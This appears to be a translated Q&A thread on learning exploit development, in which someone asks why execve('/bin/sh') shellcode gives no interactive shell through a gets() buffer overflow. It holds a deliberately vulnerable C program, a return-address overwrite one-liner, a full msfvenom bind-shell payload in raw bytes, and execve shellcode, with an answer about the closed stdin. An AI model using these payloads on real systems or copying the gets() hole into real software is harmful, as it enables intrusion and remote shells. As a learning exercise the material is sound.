Epl*_*lox 5 c exploit gets shellcode
试图了解更多有关利用开发和构建 shellcode 的信息,但遇到了一个我不明白背后原因的问题。
为什么我无法运行 execve("/bin/sh") 等 shellcode 并生成可以与之交互的 shell?另一方面,我可以创建一个反向/bind_tcp shell 并使用 netcat 连接到它。
示例程序:
// gcc vuln.c -o vuln -m32 -fno-stack-protector -z execstack
#include <stdio.h>
#include <string.h>
void test() {
char pass[50];
printf("Password: ");
gets(pass);
if (strcmp(pass, "epicpassw0rd") == 0) {
printf("Woho, you got it!\n");
}
}
int main() {
test();
__asm__("movl $0xe4ffd4ff, %edx"); // jmp esp, call esp - POC
return(0);
}
Run Code Online (Sandbox Code Playgroud)
漏洞利用示例:
python -c "print 'A'*62 + '\x35\x56\x55\x56' + 'PAYLOAD'" | ./vuln
Run Code Online (Sandbox Code Playgroud)
示例有效负载(工作):
msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 LHOST="0.0.0.0" -f python
\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
Run Code Online (Sandbox Code Playgroud)
测试了多个不同的 execve("/bin/sh") 示例,并创建了我自己的示例,然后编译它们以验证它们的工作原理,然后再将其用作有效负载。
如: https: //www.exploit-db.com/exploits/42428/
当 shellcode execve(/bin/sh) 执行时,它没有连接的标准输入(因为 GETS)并且将终止。
解决方案是关闭stdin描述符,在执行/bin/sh之前重新打开/dev/tty。
#include <unistd.h>
#include <stdio.h>
#include <sys/fcntl.h>
int main(void) {
char buf[50];
gets(buf);
printf("Yo %s\n", buf);
close(0);
open("/dev/tty", O_RDWR | O_NOCTTY);
execve ("/bin/sh", NULL, NULL);
}
Run Code Online (Sandbox Code Playgroud)
相关答案:execve("/bin/sh", 0, 0); 在管道中
也可以通过使用来执行有效负载
( python -c "print 'A'*62 + '\x35\x56\x55\x56' + '\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'"; cat ) | ./vuln
Run Code Online (Sandbox Code Playgroud)